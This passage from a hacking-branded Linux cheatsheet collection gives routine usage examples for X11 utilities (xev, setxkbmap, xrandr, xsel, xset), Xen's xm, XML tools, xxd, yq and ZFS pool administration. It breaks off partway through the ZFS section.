▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗██╗   ██╗
#  ╚██╗██╔╝██╔════╝██║   ██║
#   ╚███╔╝ █████╗  ██║   ██║
#   ██╔██╗ ██╔══╝  ╚██╗ ██╔╝
#  ██╔╝ ██╗███████╗ ╚████╔╝ 
#  ╚═╝  ╚═╝╚══════╝  ╚═══╝

# Show keycodes used by Xorg

xev 
# This X program is useful for seeing the keycodes and symbols generated by your keyboard. Can remap using xmodmap. For instance, I've changed my caps lock key into an escape key.

# start xev and show only the relevant parts:
xev | awk -F'[ )]+' '/^KeyPress/ { a[NR+2] } NR in a { printf "%-3s %s\n", $5, $8 }'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

241 - 🖥️xkb

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xkb command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗██╗  ██╗██████╗ 
#  ╚██╗██╔╝██║ ██╔╝██╔══██╗
#   ╚███╔╝ █████╔╝ ██████╔╝
#   ██╔██╗ ██╔═██╗ ██╔══██╗
#  ██╔╝ ██╗██║  ██╗██████╔╝
#  ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝

# Set the keyboard layout for the current X session 
setxkbmap -layout "us,ru"
setxkbmap -option "grp:caps_toggle,grp_led:scroll,compose:ralt"

# Configure compose
git clone https://github.com/kragen/xcompose/
cd xcompose
bash install
cat <<EOF >> ~/.profile
input_module=xim
export GTK_IM_MODULE=$input_module
export XMODIFIERS=@im=$input_module
export QT_IM_MODULE=$input_module
EOF
# And you probly need to start:
# ibus-daemon --xim --verbose --daemonize --replace
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

242 - 🖥️xm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███╗   ███╗
#  ╚██╗██╔╝████╗ ████║
#   ╚███╔╝ ██╔████╔██║
#   ██╔██╗ ██║╚██╔╝██║
#  ██╔╝ ██╗██║ ╚═╝ ██║
#  ╚═╝  ╚═╝╚═╝     ╚═╝

# Shows information about the Xen host
xm info

# Shows information about doms (states include r for running, b for blocked, c for crashed, p for paused and the worse, d for dying).
xm list

# Shows virtual interfaces for doms
xm network-list

# Shows information from the Xen logs
xm log

# Reboots a VM
xm reboot

# Shows dom virtual processors
xm vcpu-list

# Shows hosts and domains similar to how top works in *nix
xm top

# Shows uptime
xm uptime

# Shows the send message buffer
xm dmesg

# Create a node called ${domain_name}
xm create ${domain_name}

# Attach to the console of the ${domain_name} node
xm console ${domain_name}

# Deletes that newly created ${domain_name} node
xm destroy ${domain_name}

# Invoke an interactive shell environment of your xend
xm shell

# Turn off a VM
xm shutdown

# Rather than shut the VM down, just pause it (starts back up much faster),
# but if the host is rebooted then state is lost (otherwise use suspend)
xm pause

# Suspends a VM, which writes the data to disk, so changes wouldn't be lost on restart.
xm suspend

# Rename installed VMs
xm rename

# If a VM is paused, fire it up
xm resume

# Similar to suspend except with user definable state file
xm save

# Similar to resume except restoreable with exports that used the save verb
xm restore

# Dumps core per domain
xm dump-core

# Sends system requests per domain
xm sysrq

# Lists block devices per domain
xm block-list

# Configure the maximum memory for a domain
xm mem-max

# Configure the current memory allowance for a domain
xm mem-set

# Configure active processors for a domain
xm vcpu-set

# Move a domain to another server (e.g. using the -l operator to do so live)
xm migrate
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

243 - 🖥️xmlto

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xmlto command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗  ██╗███╗   ███╗██╗  ████████╗ ██████╗ 
#                ╚██╗██╔╝████╗ ████║██║  ╚══██╔══╝██╔═══██╗
#                 ╚███╔╝ ██╔████╔██║██║     ██║   ██║   ██║
#                 ██╔██╗ ██║╚██╔╝██║██║     ██║   ██║   ██║
#                ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║   ╚██████╔╝
#                ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝    ╚═════╝ 
                                                          
                                                          
# DocBook XML to PDF
xmlto pdf mydoc.xml

# DocBook XML to HTML
xmlto -o html-dir html mydoc.xml

# DocBook XML to single HTML file
xmlto html-nochunks mydoc.xml

# modify output with XSL override
xmlto -m ulink.xsl pdf mydoc.xml

# use non-default xsl
xmlto -x mystylesheet.xsl pdf mydoc.xml

#==============================##==============================#
# CMD XMLTO						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

244 - 🖥️xrandr

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xrandr command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗  ██╗██████╗  █████╗ ███╗   ██╗██████╗ 
#                ╚██╗██╔╝██╔══██╗██╔══██╗████╗  ██║██╔══██╗
#                 ╚███╔╝ ██████╔╝███████║██╔██╗ ██║██║  ██║
#                 ██╔██╗ ██╔══██╗██╔══██║██║╚██╗██║██║  ██║
#                ██╔╝ ██╗██║  ██║██║  ██║██║ ╚████║██████╔╝
#                ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ 
                                                          
                                                          
# To enable HDMI2 output with maximal resolution:
xrandr --output HDMI2 --auto

# To enable HDMI2 output with specific resolution:
xrandr --output HDMI2 --mode 1280x800

# To enable HDMI2 output next to HDMI1 output:
xrandr --output HDMI2 --auto --right-of HDMI1

# To disable HDMI2 output:
xrandr --output HDMI2 --off

# Project your desktop using xrandr -  HDMI-1 is the interface in the example, which can be obtained just by typing xrandr and surfing through the output. There are a hell lot of configurations that can be done but I prefer auto because it works in most cases. Lifesaver Show Sample Output
xrandr --output < interface-name > --auto

xrandr --output DVI-I-2 --right-of DVI-I-3 
# When you do not want to restart X to setup a another display and expand the desktop.

#==============================##==============================#
# CMD XRAND						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

245 - 🖥️xscreensaver

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xscreensaver command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗████████╗██████╗ ███████╗███████╗███╗   ██╗███████╗ █████╗ ██╗   ██╗███████╗██████╗ 
#  ╚██╗██╔╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔════╝████╗  ██║██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
#   ╚███╔╝ ███████╗   ██║   ██████╔╝█████╗  █████╗  ██╔██╗ ██║███████╗███████║██║   ██║█████╗  ██████╔╝
#   ██╔██╗ ╚════██║   ██║   ██╔══██╗██╔══╝  ██╔══╝  ██║╚██╗██║╚════██║██╔══██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
#  ██╔╝ ██╗███████║   ██║   ██║  ██║███████╗███████╗██║ ╚████║███████║██║  ██║ ╚████╔╝ ███████╗██║  ██║
#  ╚═╝  ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

# lock screen sver
xscreensaver-command -lock
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

246 - 🖥️xsel

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xsel command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗███████╗██╗
#  ╚██╗██╔╝██╔════╝██╔════╝██║
#   ╚███╔╝ ███████╗█████╗  ██║
#   ██╔██╗ ╚════██║██╔══╝  ██║
#  ██╔╝ ██╗███████║███████╗███████╗
#  ╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

# X11 selection and clipboard manipulation tool.

# Use a command's output as input of the clip[b]oard (equivalent to Ctrl + C):
echo 123 | xsel -ib

# Use the contents of a file as input of the clipboard:
cat file | xsel -ib

# Output the clipboard's contents into the terminal (equivalent to Ctrl + V):
xsel -ob

# Output the clipboard's contents into a file:
xsel -ob > file

# Clear the clipboard:
xsel -cb

# Output the X11 primary selection's contents into the terminal (equivalent to a mouse middle-click):
xsel -op

xsel | nl | grep [email protected] 
# Paste a list of email addresses and number them and show the entry for a specific address.

xsel -b | sed 's/2018/2019/g' | xsel -b 
# Replace all instances of 2013 with 2014 in your X windows copy buffer.

# Take the text in your select/copy buffer (Xwin or Mac) and sort it then print unique lines with a "count of duplicates" prior to the line.
{ xsel || pbpaste; } | sort | uniq -c 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

247 - 🖥️xset

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xset command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗███████╗████████╗
#  ╚██╗██╔╝██╔════╝██╔════╝╚══██╔══╝
#   ╚███╔╝ ███████╗█████╗     ██║  
#   ██╔██╗ ╚════██║██╔══╝     ██║  
#  ██╔╝ ██╗███████║███████╗   ██║  
#  ╚═╝  ╚═╝╚══════╝╚══════╝   ╚═╝

# xset - user preference utility for X 

# Disable screen saver blanking
xset s off

# Change blank time to 1 hour
xset s 3600 3600

# Turn off DPMS
xset -dpms

# Disable DPMS and prevent screen from blanking
xset s off -dpms

# Turn off screen immediately
xset dpms force off

# Standby screen
xset dpms force standby

# Suspend screen 
xset dpms force suspend
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

248 - 🖥️xsltproc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xsltproc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗██╗  ████████╗██████╗ ██████╗  ██████╗  ██████╗
#  ╚██╗██╔╝██╔════╝██║  ╚══██╔══╝██╔══██╗██╔══██╗██╔═══██╗██╔════╝
#   ╚███╔╝ ███████╗██║     ██║   ██████╔╝██████╔╝██║   ██║██║     
#   ██╔██╗ ╚════██║██║     ██║   ██╔═══╝ ██╔══██╗██║   ██║██║     
#  ██╔╝ ██╗███████║███████╗██║   ██║     ██║  ██║╚██████╔╝╚██████╗
#  ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝  ╚═════╝

# xsltproc
# Transform XML with XSLT to produce output (usually HTML or XML).

# Transform an XML file with a specific XSLT stylesheet:
xsltproc --output output.html stylesheet.xslt xmlfile.xml

# Pass a value to a parameter in the stylesheet:
xsltproc --output output.html --stringparam name value stylesheet.xslt xmlfile.xml
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

249 - 🖥️xxd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xxd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗  ██╗██╗  ██╗██████╗ 
#                ╚██╗██╔╝╚██╗██╔╝██╔══██╗
#                 ╚███╔╝  ╚███╔╝ ██║  ██║
#                 ██╔██╗  ██╔██╗ ██║  ██║
#                ██╔╝ ██╗██╔╝ ██╗██████╔╝
#                ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ 
                                        
                                        
# Convert bin/string to hex.
# Result: 34322069732074686520736f6c7574696f6e0a
echo '42 is the solution' | xxd -p

# Convert hex to bin/string.
# Result: 42 is the solution
echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p

# Make a hexdump or do the reverse with the xxd command
xxd /path/to/binary/file
# Explanation: This shows a very nice hexdump of the specified file. You can edit the output and convert it back to binary with xxd -r. But the best part is that you can configure vim to do all the converting back and forth for you, effectively turning vim into a binary editor, by adding this to your .vimrc:

# augroup Binary
     # au!
     # au BufReadPre  *.bin let &bin=1
     # au BufReadPost *.bin if &bin | %!xxd
     # au BufReadPost *.bin set ft=xxd | endif
     # au BufWritePre *.bin if &bin | %!xxd -r
     # au BufWritePre *.bin endif
     # au BufWritePost *.bin if &bin | %!xxd
     # au BufWritePost *.bin set nomod | endif
# augroup END

# This will work for editing .bin files. To use it for other file extensions too, duplicate the lines within augroup and replace *.bin with *.exe for example. This tip is from vim's :help xxd.

#==============================##==============================#
# CMD XXD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

250 - 🖥️yq

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the yq command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗   ██╗ ██████╗ 
#  ╚██╗ ██╔╝██╔═══██╗
#   ╚████╔╝ ██║   ██║
#    ╚██╔╝  ██║▄▄ ██║
#     ██║   ╚██████╔╝
#     ╚═╝    ╚══▀▀═╝ 

# Convert JSON to YAML
# Requires installing yq (pip install yq)
yq . -y <example.json
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

251 - 🖥️ytview

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ytview command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗   ██╗████████╗██╗   ██╗██╗███████╗██╗    ██╗
#  ╚██╗ ██╔╝╚══██╔══╝██║   ██║██║██╔════╝██║    ██║
#   ╚████╔╝    ██║   ██║   ██║██║█████╗  ██║ █╗ ██║
#    ╚██╔╝     ██║   ╚██╗ ██╔╝██║██╔══╝  ██║███╗██║
#     ██║      ██║    ╚████╔╝ ██║███████╗╚███╔███╔╝
#     ╚═╝      ╚═╝     ╚═══╝  ╚═╝╚══════╝ ╚══╝╚══╝

# ytview (Bash-Snippets)
# search and play youtube videos right from the terminal

# Search for youtube videos by title
ytview This is my search query

# Search for youtbe videos by specifying a channel
ytview -c numberphile

# After using one of the two above commands you will be able
# To pick from a list of videos and play it from the terminal
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

252 - 🖥️zfs

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zfs command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗███████╗███████╗
#  ╚══███╔╝██╔════╝██╔════╝
#    ███╔╝ █████╗  ███████╗
#   ███╔╝  ██╔══╝  ╚════██║
#  ███████╗██║     ███████║
#  ╚══════╝╚═╝     ╚══════╝

# WARNING:
#   In order to avoid headaches when moving ZFS physical devices around,
#   one will be much better served to reference devices by their *immutable*
#   ID - as in /dev/disk/by-id/* - rather than their block device name -
#   as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration
#   order.
# For the sake of briefness, we'll use the following variables:
#   ${device}    device (/dev/disk/by-id/${device})
#   ${part}      partition (/dev/disk/by-id/${part=${device}-part${N}})
#   ${pool}      ZFS pool (name)
#   ${fs_vol}    ZFS file system or volume (name)
#   ${snapshot}  ZFS snapshot (name)

## Pools

# Create a new "RAID-5" (raidz1) pool
# Recommended: use entire devices rather than partitions
zpool create ${pool} raidz1 ${device} ${device} ${device} [...]

# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} log mirror ${part} ${part}

# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} cache ${part} ${part} [...]

# Remove log or cache components
zpool remove zfs ${part} [...]

# Import (enable) existing pool from newly connected devices
# Note: this will create the /etc/zfs/zpool.cache devices cache
zpool import -d /dev/disk/by-id -aN

# Import (enable) existing pool using the devices cache
zpool import -c /etc/zfs/zpool.cache -aN

# Export (disable) pool (e.g. before shutdown)
zpool export -a

# List all (imported) pools
zpool list

# See pool status
zpool status ${pool}

# See detailed pool I/O statistics
zpool iostat ${pool} -v

# Verify pool integrity (data checksums)
# (watch progress with 'zpool status')
zpool scrub ${pool}

# Remove a failing device from a pool
# Note: redundant pools (mirror, raidz) will continue working in degraded state
zpool detach ${pool} ${device}

# Replace a failed device in a pool
